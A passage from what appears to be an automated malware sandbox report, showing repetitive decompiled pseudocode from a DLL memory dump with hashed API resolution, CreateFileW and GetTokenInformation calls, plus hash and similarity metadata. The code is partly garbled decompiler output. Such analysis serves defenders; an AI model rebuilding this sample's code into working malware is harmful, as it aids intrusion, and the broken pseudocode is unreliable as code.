                                                                                                                                              			}




                                                                                                                                              0x6ebe1168
                                                                                                                                              0x6ebe116a

                                                                                                                                              APIs
                                                                                                                                              • GetTokenInformation.KERNELBASE(?,00000019,00000000,00000000,00000000,150C05FC,150C05FC,00000000,00000000,150C05FC,150C05FC,150C05FC,150C05FC), ref: 6EBE117B
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000002.00000002.684498846.000000006EBD1000.00000020.00020000.sdmp, Offset: 6EBD0000, based on PE: true
                                                                                                                                              • Associated: 00000002.00000002.684473274.000000006EBD0000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684559755.000000006EBEA000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684586638.000000006EBED000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684618146.000000006EBEF000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: InformationToken
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 4114910276-0
                                                                                                                                              • Opcode ID: 8162e476bed466b15e8bf967a0abe15d034c35eef06e00be9545f18c94d02dd7
                                                                                                                                              • Instruction ID: fd4561306240a9b3d8d888fab3945e9452273e978a285842582d0c65f35da557
                                                                                                                                              • Opcode Fuzzy Hash: 8162e476bed466b15e8bf967a0abe15d034c35eef06e00be9545f18c94d02dd7
                                                                                                                                              • Instruction Fuzzy Hash: 461194606042C35AFF5687E89C70BAE7F58DF42784F384865A860DA8E5DB24CC89C662
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 50%
                                                                                                                                              			E6EBE5BBD(void* __ebx, void* __ecx, void* __edx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
                                                                                                                                              				void* _t7;
                                                                                                                                              				void* _t12;
                                                                                                                                              				void* _t20;
                                                                                                                                              				void* _t22;
                                                                                                                                              				long _t23;
                                                                                                                                              				WCHAR** _t24;
                                                                                                                                              				void* _t31;
                                                                                                                                              				intOrPtr* _t33;
                                                                                                                                              				WCHAR** _t34;
                                                                                                                                              				void* _t38;
                                                                                                                                              				long _t39;
                                                                                                                                              				void* _t41;
                                                                                                                                              				void* _t42;
                                                                                                                                              
                                                                                                                                              				_t34 = __edi;
                                                                                                                                              				_t31 = 5;
                                                                                                                                              				_t38 = 2;
                                                                                                                                              				_t39 =  !=  ? _t31 : _t38;
                                                                                                                                              				if(__ebx != 2) {
                                                                                                                                              					_t7 = 3;
                                                                                                                                              					_t22 = 0;
                                                                                                                                              					_t23 =  ==  ? _t7 : _t22;
                                                                                                                                              				} else {
                                                                                                                                              					_t23 = 1;
                                                                                                                                              				}
                                                                                                                                              				if(E6EBE3064(0x8e844d1e, 0x458d3b35) == 0) {
                                                                                                                                              					_push(0);
                                                                                                                                              				} else {
                                                                                                                                              					_t20 = CreateFileW( *_t34, 0xc0000000, _t23, 0, _t39, _a44, 0); // executed
                                                                                                                                              					_push(_t20);
                                                                                                                                              				}
                                                                                                                                              				_t24 =  &(_t34[3]);
                                                                                                                                              				E6EBDC26C(_t24);
                                                                                                                                              				if(E6EBDC280(_t24) != 0) {
                                                                                                                                              					_t34[2] = E6EBE35F0(0xc0000000);
                                                                                                                                              					_t12 = 0;
                                                                                                                                              				} else {
                                                                                                                                              					if( *((intOrPtr*)(_t42 + 0x24)) == 2) {
                                                                                                                                              						_t33 = E6EBE3064(0x8e844d1e, 0xba53868);
                                                                                                                                              						if(_t33 != 0) {
                                                                                                                                              							 *_t33( *_t24, 0, 0, 2);
                                                                                                                                              						}
                                                                                                                                              					}
                                                                                                                                              					_t41 = _t42 + 8;
                                                                                                                                              					E6EBE3698(_t41, 0xff, 8);
                                                                                                                                              					_t42 = _t42 + 0xc;
                                                                                                                                              					if(E6EBE3064(0x8e844d1e, 0xc5e2981f) != 0) {
                                                                                                                                              						_push(_t41);
                                                                                                                                              						_push(_t41);
                                                                                                                                              						_push(0);
                                                                                                                                              						_push( *_t24);
                                                                                                                                              						asm("int3");
                                                                                                                                              						asm("int3");
                                                                                                                                              					}
                                                                                                                                              					_t12 = 1;
                                                                                                                                              				}
                                                                                                                                              				return _t12;
                                                                                                                                              			}
















                                                                                                                                              0x6ebe5bbd
                                                                                                                                              0x6ebe5bc1
                                                                                                                                              0x6ebe5bc4
                                                                                                                                              0x6ebe5bc7
                                                                                                                                              0x6ebe5c09
                                                                                                                                              0x6ebe5c12
                                                                                                                                              0x6ebe5c18
                                                                                                                                              0x6ebe5c19
                                                                                                                                              0x6ebe5c0b
                                                                                                                                              0x6ebe5c0d
                                                                                                                                              0x6ebe5c0d
                                                                                                                                              0x6ebe5c2f
                                                                                                                                              0x6ebe5c43
                                                                                                                                              0x6ebe5c31
                                                                                                                                              0x6ebe5c3e
                                                                                                                                              0x6ebe5c40
                                                                                                                                              0x6ebe5c40
                                                                                                                                              0x6ebe5c45
                                                                                                                                              0x6ebe5c4a
                                                                                                                                              0x6ebe5c58
                                                                                                                                              0x6ebe5cc3
                                                                                                                                              0x6ebe5cc6
                                                                                                                                              0x6ebe5c5a
                                                                                                                                              0x6ebe5c5f
                                                                                                                                              0x6ebe5cac
                                                                                                                                              0x6ebe5cb0
                                                                                                                                              0x6ebe5cba
                                                                                                                                              0x6ebe5cba
                                                                                                                                              0x6ebe5cb0
                                                                                                                                              0x6ebe5c61
                                                                                                                                              0x6ebe5c6d
                                                                                                                                              0x6ebe5c72
                                                                                                                                              0x6ebe5c86
                                                                                                                                              0x6ebe5c88
                                                                                                                                              0x6ebe5c89
                                                                                                                                              0x6ebe5c8a
                                                                                                                                              0x6ebe5c8c
                                                                                                                                              0x6ebe5c8e
                                                                                                                                              0x6ebe5c8f
                                                                                                                                              0x6ebe5c8f
                                                                                                                                              0x6ebe5c92
                                                                                                                                              0x6ebe5c92
                                                                                                                                              0x6ebe5c9a

                                                                                                                                              APIs
                                                                                                                                              • CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,8E844D1E,458D3B35), ref: 6EBE5C3E
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000002.00000002.684498846.000000006EBD1000.00000020.00020000.sdmp, Offset: 6EBD0000, based on PE: true
                                                                                                                                              • Associated: 00000002.00000002.684473274.000000006EBD0000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684559755.000000006EBEA000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684586638.000000006EBED000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684618146.000000006EBEF000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: CreateFile
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 823142352-0
                                                                                                                                              • Opcode ID: a124f905a7b88adf81c00bd5bc08d6d83bbaf871b5730aa4a2b761ba493ce728
                                                                                                                                              • Instruction ID: aef0529e0233765cb9d34ba94278e1f843787681b2c000e6593f536dbe0c86b0
                                                                                                                                              • Opcode Fuzzy Hash: a124f905a7b88adf81c00bd5bc08d6d83bbaf871b5730aa4a2b761ba493ce728
                                                                                                                                              • Instruction Fuzzy Hash: 0B01453139538ABEFA5026E44D16F7F7F9CCFC23D8F008831BA0155A85DF12A899C124
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 51%
                                                                                                                                              			E6EBE5BE5(void* __ecx, void* __edx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
                                                                                                                                              				void* _t7;
                                                                                                                                              				void* _t12;
                                                                                                                                              				void* _t20;
                                                                                                                                              				void* _t21;
                                                                                                                                              				void* _t22;
                                                                                                                                              				long _t23;
                                                                                                                                              				WCHAR** _t24;
                                                                                                                                              				intOrPtr* _t32;
                                                                                                                                              				WCHAR** _t33;
                                                                                                                                              				long _t37;
                                                                                                                                              				void* _t39;
                                                                                                                                              				void* _t40;
                                                                                                                                              
                                                                                                                                              				_t33 = __edi;
                                                                                                                                              				if(__edx != 0) {
                                                                                                                                              					_t37 = 3;
                                                                                                                                              					if(_t21 != 2) {
                                                                                                                                              						_t7 = 3;
                                                                                                                                              						_t22 = 0;
                                                                                                                                              						_t23 =  ==  ? _t7 : _t22;
                                                                                                                                              					} else {
                                                                                                                                              						_t23 = 1;
                                                                                                                                              					}
                                                                                                                                              					if(E6EBE3064(0x8e844d1e, 0x458d3b35) == 0) {
                                                                                                                                              						_push(0);
                                                                                                                                              					} else {
                                                                                                                                              						_t20 = CreateFileW( *_t33, 0x80000000, _t23, 0, _t37, _a44, 0); // executed
                                                                                                                                              						_push(_t20);
                                                                                                                                              					}
                                                                                                                                              					_t24 =  &(_t33[3]);
                                                                                                                                              					E6EBDC26C(_t24);
                                                                                                                                              					if(E6EBDC280(_t24) != 0) {
                                                                                                                                              						_t33[2] = E6EBE35F0(0x80000000);
                                                                                                                                              						_t12 = 0;
                                                                                                                                              					} else {
                                                                                                                                              						if( *((intOrPtr*)(_t40 + 0x24)) == 2) {
                                                                                                                                              							_t32 = E6EBE3064(0x8e844d1e, 0xba53868);
                                                                                                                                              							if(_t32 != 0) {
                                                                                                                                              								 *_t32( *_t24, 0, 0, 2);
                                                                                                                                              							}
                                                                                                                                              						}
                                                                                                                                              						_t39 = _t40 + 8;
                                                                                                                                              						E6EBE3698(_t39, 0xff, 8);
                                                                                                                                              						_t40 = _t40 + 0xc;
                                                                                                                                              						if(E6EBE3064(0x8e844d1e, 0xc5e2981f) != 0) {
                                                                                                                                              							_push(_t39);
                                                                                                                                              							_push(_t39);
                                                                                                                                              							_push(0);
                                                                                                                                              							_push( *_t24);
                                                                                                                                              							asm("int3");
                                                                                                                                              							asm("int3");
                                                                                                                                              						}
                                                                                                                                              						_t12 = 1;
                                                                                                                                              					}
                                                                                                                                              				} else {
                                                                                                                                              					__edi[2] = 2;
                                                                                                                                              					_t12 = 0;
                                                                                                                                              				}
                                                                                                                                              				return _t12;
                                                                                                                                              			}















                                                                                                                                              0x6ebe5be5
                                                                                                                                              0x6ebe5be7
                                                                                                                                              0x6ebe5bfe
                                                                                                                                              0x6ebe5c09
                                                                                                                                              0x6ebe5c12
                                                                                                                                              0x6ebe5c18
                                                                                                                                              0x6ebe5c19
                                                                                                                                              0x6ebe5c0b
                                                                                                                                              0x6ebe5c0d
                                                                                                                                              0x6ebe5c0d
                                                                                                                                              0x6ebe5c2f
                                                                                                                                              0x6ebe5c43
                                                                                                                                              0x6ebe5c31
                                                                                                                                              0x6ebe5c3e
                                                                                                                                              0x6ebe5c40
                                                                                                                                              0x6ebe5c40
                                                                                                                                              0x6ebe5c45
                                                                                                                                              0x6ebe5c4a
                                                                                                                                              0x6ebe5c58
                                                                                                                                              0x6ebe5cc3
                                                                                                                                              0x6ebe5cc6
                                                                                                                                              0x6ebe5c5a
                                                                                                                                              0x6ebe5c5f
                                                                                                                                              0x6ebe5cac
                                                                                                                                              0x6ebe5cb0
                                                                                                                                              0x6ebe5cba
                                                                                                                                              0x6ebe5cba
                                                                                                                                              0x6ebe5cb0
                                                                                                                                              0x6ebe5c61
                                                                                                                                              0x6ebe5c6d
                                                                                                                                              0x6ebe5c72
                                                                                                                                              0x6ebe5c86
                                                                                                                                              0x6ebe5c88
                                                                                                                                              0x6ebe5c89
                                                                                                                                              0x6ebe5c8a
                                                                                                                                              0x6ebe5c8c
                                                                                                                                              0x6ebe5c8e
                                                                                                                                              0x6ebe5c8f
                                                                                                                                              0x6ebe5c8f
                                                                                                                                              0x6ebe5c92
                                                                                                                                              0x6ebe5c92
                                                                                                                                              0x6ebe5be9
                                                                                                                                              0x6ebe5be9
                                                                                                                                              0x6ebe5bf0
                                                                                                                                              0x6ebe5bf0
                                                                                                                                              0x6ebe5c9a

                                                                                                                                              APIs
                                                                                                                                              • CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,8E844D1E,458D3B35), ref: 6EBE5C3E
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000002.00000002.684498846.000000006EBD1000.00000020.00020000.sdmp, Offset: 6EBD0000, based on PE: true
                                                                                                                                              • Associated: 00000002.00000002.684473274.000000006EBD0000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684559755.000000006EBEA000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684586638.000000006EBED000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684618146.000000006EBEF000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: CreateFile
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 823142352-0
                                                                                                                                              • Opcode ID: c46e35028ef516b2a6bafbb4d93dcee3a2ebb779e0ca04dcf25d6f0dd780b036
                                                                                                                                              • Instruction ID: e22c894c73b9fc049fb9777319dce2ac05f913314fa6292edd35a0713854dfdc
                                                                                                                                              • Opcode Fuzzy Hash: c46e35028ef516b2a6bafbb4d93dcee3a2ebb779e0ca04dcf25d6f0dd780b036
                                                                                                                                              • Instruction Fuzzy Hash: 7D012630296286BEFA9026F54D66F7B7F5CDF813D8F004835BA0155E85DB22A458C128
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 45%
                                                                                                                                              			E6EBE5BD1(void* __ebx, void* __ecx, void* __edx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
                                                                                                                                              				void* _t7;
                                                                                                                                              				void* _t12;
                                                                                                                                              				void* _t20;
                                                                                                                                              				void* _t22;
                                                                                                                                              				long _t23;
                                                                                                                                              				WCHAR** _t24;
                                                                                                                                              				intOrPtr* _t33;
                                                                                                                                              				WCHAR** _t34;
                                                                                                                                              				long _t38;
                                                                                                                                              				void* _t40;
                                                                                                                                              				void* _t41;
                                                                                                                                              
                                                                                                                                              				_t34 = __edi;
                                                                                                                                              				_t38 = 2;
                                                                                                                                              				asm("adc ebp, 0x0");
                                                                                                                                              				if(__ebx != 2) {
                                                                                                                                              					_t7 = 3;
                                                                                                                                              					_t22 = 0;
                                                                                                                                              					_t23 =  ==  ? _t7 : _t22;
                                                                                                                                              				} else {
                                                                                                                                              					_t23 = 1;
                                                                                                                                              				}
                                                                                                                                              				if(E6EBE3064(0x8e844d1e, 0x458d3b35) == 0) {
                                                                                                                                              					_push(0);
                                                                                                                                              				} else {
                                                                                                                                              					_t20 = CreateFileW( *_t34, 0xc0000000, _t23, 0, _t38, _a44, 0); // executed
                                                                                                                                              					_push(_t20);
                                                                                                                                              				}
                                                                                                                                              				_t24 =  &(_t34[3]);
                                                                                                                                              				E6EBDC26C(_t24);
                                                                                                                                              				if(E6EBDC280(_t24) != 0) {
                                                                                                                                              					_t34[2] = E6EBE35F0(0xc0000000);
                                                                                                                                              					_t12 = 0;
                                                                                                                                              				} else {
                                                                                                                                              					if( *((intOrPtr*)(_t41 + 0x24)) == 2) {
                                                                                                                                              						_t33 = E6EBE3064(0x8e844d1e, 0xba53868);
                                                                                                                                              						if(_t33 != 0) {
                                                                                                                                              							 *_t33( *_t24, 0, 0, 2);
                                                                                                                                              						}
                                                                                                                                              					}
                                                                                                                                              					_t40 = _t41 + 8;
                                                                                                                                              					E6EBE3698(_t40, 0xff, 8);
                                                                                                                                              					_t41 = _t41 + 0xc;
                                                                                                                                              					if(E6EBE3064(0x8e844d1e, 0xc5e2981f) != 0) {
                                                                                                                                              						_push(_t40);
                                                                                                                                              						_push(_t40);
                                                                                                                                              						_push(0);
                                                                                                                                              						_push( *_t24);
                                                                                                                                              						asm("int3");
                                                                                                                                              						asm("int3");
                                                                                                                                              					}
                                                                                                                                              					_t12 = 1;
                                                                                                                                              				}
                                                                                                                                              				return _t12;
                                                                                                                                              			}














                                                                                                                                              0x6ebe5bd1
                                                                                                                                              0x6ebe5bd8
                                                                                                                                              0x6ebe5bdb
                                                                                                                                              0x6ebe5c09
                                                                                                                                              0x6ebe5c12
                                                                                                                                              0x6ebe5c18
                                                                                                                                              0x6ebe5c19
                                                                                                                                              0x6ebe5c0b
                                                                                                                                              0x6ebe5c0d
                                                                                                                                              0x6ebe5c0d
                                                                                                                                              0x6ebe5c2f
                                                                                                                                              0x6ebe5c43
                                                                                                                                              0x6ebe5c31
                                                                                                                                              0x6ebe5c3e
                                                                                                                                              0x6ebe5c40
                                                                                                                                              0x6ebe5c40
                                                                                                                                              0x6ebe5c45
                                                                                                                                              0x6ebe5c4a
                                                                                                                                              0x6ebe5c58
                                                                                                                                              0x6ebe5cc3
                                                                                                                                              0x6ebe5cc6
                                                                                                                                              0x6ebe5c5a
                                                                                                                                              0x6ebe5c5f
                                                                                                                                              0x6ebe5cac
                                                                                                                                              0x6ebe5cb0
                                                                                                                                              0x6ebe5cba
                                                                                                                                              0x6ebe5cba
                                                                                                                                              0x6ebe5cb0
                                                                                                                                              0x6ebe5c61
                                                                                                                                              0x6ebe5c6d
                                                                                                                                              0x6ebe5c72
                                                                                                                                              0x6ebe5c86
                                                                                                                                              0x6ebe5c88
                                                                                                                                              0x6ebe5c89
                                                                                                                                              0x6ebe5c8a
                                                                                                                                              0x6ebe5c8c
                                                                                                                                              0x6ebe5c8e
                                                                                                                                              0x6ebe5c8f
                                                                                                                                              0x6ebe5c8f
                                                                                                                                              0x6ebe5c92
                                                                                                                                              0x6ebe5c92
                                                                                                                                              0x6ebe5c9a

                                                                                                                                              APIs
                                                                                                                                              • CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,8E844D1E,458D3B35), ref: 6EBE5C3E
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000002.00000002.684498846.000000006EBD1000.00000020.00020000.sdmp, Offset: 6EBD0000, based on PE: true
                                                                                                                                              • Associated: 00000002.00000002.684473274.000000006EBD0000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684559755.000000006EBEA000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684586638.000000006EBED000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684618146.000000006EBEF000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: CreateFile
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 823142352-0
                                                                                                                                              • Opcode ID: ab2bd4055e11c9f9a2bf07316868f5c1c5b37ceb7e280a100dd82f754eff5fb8
                                                                                                                                              • Instruction ID: df77cccc05ad48605fcf2d93991fbf1fb05655aa5c61164eb538c9f50ad93ebc
                                                                                                                                              • Opcode Fuzzy Hash: ab2bd4055e11c9f9a2bf07316868f5c1c5b37ceb7e280a100dd82f754eff5fb8
                                                                                                                                              • Instruction Fuzzy Hash: D501453029228A7AFB5026F54D66F7F7F4DCF813D8F004831BA0195AC5DF22A898C124
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 48%
                                                                                                                                              			E6EBE5BB3(void* __ebx, void* __ecx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
                                                                                                                                              				void* _t6;
                                                                                                                                              				void* _t11;
                                                                                                                                              				void* _t19;
                                                                                                                                              				void* _t21;
                                                                                                                                              				long _t22;
                                                                                                                                              				WCHAR** _t23;
                                                                                                                                              				intOrPtr* _t30;
                                                                                                                                              				WCHAR** _t31;
                                                                                                                                              				long _t35;
                                                                                                                                              				void* _t37;
                                                                                                                                              				void* _t38;
                                                                                                                                              
                                                                                                                                              				_t31 = __edi;
                                                                                                                                              				_t35 = 3;
                                                                                                                                              				if(__ebx != 2) {
                                                                                                                                              					_t6 = 3;
                                                                                                                                              					_t21 = 0;
                                                                                                                                              					_t22 =  ==  ? _t6 : _t21;
                                                                                                                                              				} else {
                                                                                                                                              					_t22 = 1;
                                                                                                                                              				}
                                                                                                                                              				if(E6EBE3064(0x8e844d1e, 0x458d3b35) == 0) {
                                                                                                                                              					_push(0);
                                                                                                                                              				} else {
                                                                                                                                              					_t19 = CreateFileW( *_t31, 0x100, _t22, 0, _t35, _a44, 0); // executed
                                                                                                                                              					_push(_t19);
                                                                                                                                              				}
                                                                                                                                              				_t23 =  &(_t31[3]);
                                                                                                                                              				E6EBDC26C(_t23);
                                                                                                                                              				if(E6EBDC280(_t23) != 0) {
                                                                                                                                              					_t31[2] = E6EBE35F0(0x100);
                                                                                                                                              					_t11 = 0;
                                                                                                                                              				} else {
                                                                                                                                              					if( *((intOrPtr*)(_t38 + 0x24)) == 2) {
                                                                                                                                              						_t30 = E6EBE3064(0x8e844d1e, 0xba53868);
                                                                                                                                              						if(_t30 != 0) {
                                                                                                                                              							 *_t30( *_t23, 0, 0, 2);
                                                                                                                                              						}
                                                                                                                                              					}
                                                                                                                                              					_t37 = _t38 + 8;
                                                                                                                                              					E6EBE3698(_t37, 0xff, 8);
                                                                                                                                              					_t38 = _t38 + 0xc;
                                                                                                                                              					if(E6EBE3064(0x8e844d1e, 0xc5e2981f) != 0) {
                                                                                                                                              						_push(_t37);
                                                                                                                                              						_push(_t37);
                                                                                                                                              						_push(0);
                                                                                                                                              						_push( *_t23);
                                                                                                                                              						asm("int3");
                                                                                                                                              						asm("int3");
                                                                                                                                              					}
                                                                                                                                              					_t11 = 1;
                                                                                                                                              				}
                                                                                                                                              				return _t11;
                                                                                                                                              			}














                                                                                                                                              0x6ebe5bb3
                                                                                                                                              0x6ebe5bba
                                                                                                                                              0x6ebe5c09
                                                                                                                                              0x6ebe5c12
                                                                                                                                              0x6ebe5c18
                                                                                                                                              0x6ebe5c19
                                                                                                                                              0x6ebe5c0b
                                                                                                                                              0x6ebe5c0d
                                                                                                                                              0x6ebe5c0d
                                                                                                                                              0x6ebe5c2f
                                                                                                                                              0x6ebe5c43
                                                                                                                                              0x6ebe5c31
                                                                                                                                              0x6ebe5c3e
                                                                                                                                              0x6ebe5c40
                                                                                                                                              0x6ebe5c40
                                                                                                                                              0x6ebe5c45
                                                                                                                                              0x6ebe5c4a
                                                                                                                                              0x6ebe5c58
                                                                                                                                              0x6ebe5cc3
                                                                                                                                              0x6ebe5cc6
                                                                                                                                              0x6ebe5c5a
                                                                                                                                              0x6ebe5c5f
                                                                                                                                              0x6ebe5cac
                                                                                                                                              0x6ebe5cb0
                                                                                                                                              0x6ebe5cba
                                                                                                                                              0x6ebe5cba
                                                                                                                                              0x6ebe5cb0
                                                                                                                                              0x6ebe5c61
                                                                                                                                              0x6ebe5c6d
                                                                                                                                              0x6ebe5c72
                                                                                                                                              0x6ebe5c86
                                                                                                                                              0x6ebe5c88
                                                                                                                                              0x6ebe5c89
                                                                                                                                              0x6ebe5c8a
                                                                                                                                              0x6ebe5c8c
                                                                                                                                              0x6ebe5c8e
                                                                                                                                              0x6ebe5c8f
                                                                                                                                              0x6ebe5c8f
                                                                                                                                              0x6ebe5c92
                                                                                                                                              0x6ebe5c92
                                                                                                                                              0x6ebe5c9a

                                                                                                                                              APIs
                                                                                                                                              • CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,8E844D1E,458D3B35), ref: 6EBE5C3E
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000002.00000002.684498846.000000006EBD1000.00000020.00020000.sdmp, Offset: 6EBD0000, based on PE: true
                                                                                                                                              • Associated: 00000002.00000002.684473274.000000006EBD0000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684559755.000000006EBEA000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684586638.000000006EBED000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684618146.000000006EBEF000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: CreateFile
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 823142352-0
                                                                                                                                              • Opcode ID: 48822c07a41f11b243a306607094b00b4c7456231264d7b8e6290cc97b67c54b
                                                                                                                                              • Instruction ID: 9d9b3ff3f94bc39f80eb04b720d2302680124405c9a34e8f3dcf95ea2b04087d
                                                                                                                                              • Opcode Fuzzy Hash: 48822c07a41f11b243a306607094b00b4c7456231264d7b8e6290cc97b67c54b
                                                                                                                                              • Instruction Fuzzy Hash: FE01473129628ABAFA9126F44D66F7F7F5CCF813D8F004835BA0165AC5DF12A898C128
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 48%
                                                                                                                                              			E6EBE5C01(void* __ebx, void* __ecx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
                                                                                                                                              				void* _t6;
                                                                                                                                              				void* _t11;
                                                                                                                                              				void* _t19;
                                                                                                                                              				void* _t21;
                                                                                                                                              				long _t22;
                                                                                                                                              				WCHAR** _t23;
                                                                                                                                              				intOrPtr* _t30;
                                                                                                                                              				WCHAR** _t31;
                                                                                                                                              				long _t35;
                                                                                                                                              				void* _t37;
                                                                                                                                              				void* _t38;
                                                                                                                                              
                                                                                                                                              				_t31 = __edi;
                                                                                                                                              				_t35 = 3;
                                                                                                                                              				if(__ebx != 2) {
                                                                                                                                              					_t6 = 3;
                                                                                                                                              					_t21 = 0;
                                                                                                                                              					_t22 =  ==  ? _t6 : _t21;
                                                                                                                                              				} else {
                                                                                                                                              					_t22 = 1;
                                                                                                                                              				}
                                                                                                                                              				if(E6EBE3064(0x8e844d1e, 0x458d3b35) == 0) {
                                                                                                                                              					_push(0);
                                                                                                                                              				} else {
                                                                                                                                              					_t19 = CreateFileW( *_t31, 0, _t22, 0, _t35, _a44, 0); // executed
                                                                                                                                              					_push(_t19);
                                                                                                                                              				}
                                                                                                                                              				_t23 =  &(_t31[3]);
                                                                                                                                              				E6EBDC26C(_t23);
                                                                                                                                              				if(E6EBDC280(_t23) != 0) {
                                                                                                                                              					_t31[2] = E6EBE35F0(0);
                                                                                                                                              					_t11 = 0;
                                                                                                                                              				} else {
                                                                                                                                              					if( *((intOrPtr*)(_t38 + 0x24)) == 2) {
                                                                                                                                              						_t30 = E6EBE3064(0x8e844d1e, 0xba53868);
                                                                                                                                              						if(_t30 != 0) {
                                                                                                                                              							 *_t30( *_t23, 0, 0, 2);
                                                                                                                                              						}
                                                                                                                                              					}
                                                                                                                                              					_t37 = _t38 + 8;
                                                                                                                                              					E6EBE3698(_t37, 0xff, 8);
                                                                                                                                              					_t38 = _t38 + 0xc;
                                                                                                                                              					if(E6EBE3064(0x8e844d1e, 0xc5e2981f) != 0) {
                                                                                                                                              						_push(_t37);
                                                                                                                                              						_push(_t37);
                                                                                                                                              						_push(0);
                                                                                                                                              						_push( *_t23);
                                                                                                                                              						asm("int3");
                                                                                                                                              						asm("int3");
                                                                                                                                              					}
                                                                                                                                              					_t11 = 1;
                                                                                                                                              				}
                                                                                                                                              				return _t11;
                                                                                                                                              			}














                                                                                                                                              0x6ebe5c01
                                                                                                                                              0x6ebe5c05
                                                                                                                                              0x6ebe5c09
                                                                                                                                              0x6ebe5c12
                                                                                                                                              0x6ebe5c18
                                                                                                                                              0x6ebe5c19
                                                                                                                                              0x6ebe5c0b
                                                                                                                                              0x6ebe5c0d
                                                                                                                                              0x6ebe5c0d
                                                                                                                                              0x6ebe5c2f
                                                                                                                                              0x6ebe5c43
                                                                                                                                              0x6ebe5c31
                                                                                                                                              0x6ebe5c3e
                                                                                                                                              0x6ebe5c40
                                                                                                                                              0x6ebe5c40
                                                                                                                                              0x6ebe5c45
                                                                                                                                              0x6ebe5c4a
                                                                                                                                              0x6ebe5c58
                                                                                                                                              0x6ebe5cc3
                                                                                                                                              0x6ebe5cc6
                                                                                                                                              0x6ebe5c5a
                                                                                                                                              0x6ebe5c5f
                                                                                                                                              0x6ebe5cac
                                                                                                                                              0x6ebe5cb0
                                                                                                                                              0x6ebe5cba
                                                                                                                                              0x6ebe5cba
                                                                                                                                              0x6ebe5cb0
                                                                                                                                              0x6ebe5c61
                                                                                                                                              0x6ebe5c6d
                                                                                                                                              0x6ebe5c72
                                                                                                                                              0x6ebe5c86
                                                                                                                                              0x6ebe5c88
                                                                                                                                              0x6ebe5c89
                                                                                                                                              0x6ebe5c8a
                                                                                                                                              0x6ebe5c8c
                                                                                                                                              0x6ebe5c8e
                                                                                                                                              0x6ebe5c8f
                                                                                                                                              0x6ebe5c8f
                                                                                                                                              0x6ebe5c92
                                                                                                                                              0x6ebe5c92
                                                                                                                                              0x6ebe5c9a

                                                                                                                                              APIs
                                                                                                                                              • CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,8E844D1E,458D3B35), ref: 6EBE5C3E
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000002.00000002.684498846.000000006EBD1000.00000020.00020000.sdmp, Offset: 6EBD0000, based on PE: true
                                                                                                                                              • Associated: 00000002.00000002.684473274.000000006EBD0000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684559755.000000006EBEA000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684586638.000000006EBED000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684618146.000000006EBEF000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: CreateFile
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 823142352-0
                                                                                                                                              • Opcode ID: 9388d6fc0ab44810084af1a5b0fc5f81b3c38bd3c3c93c53e58e45b453cb198f
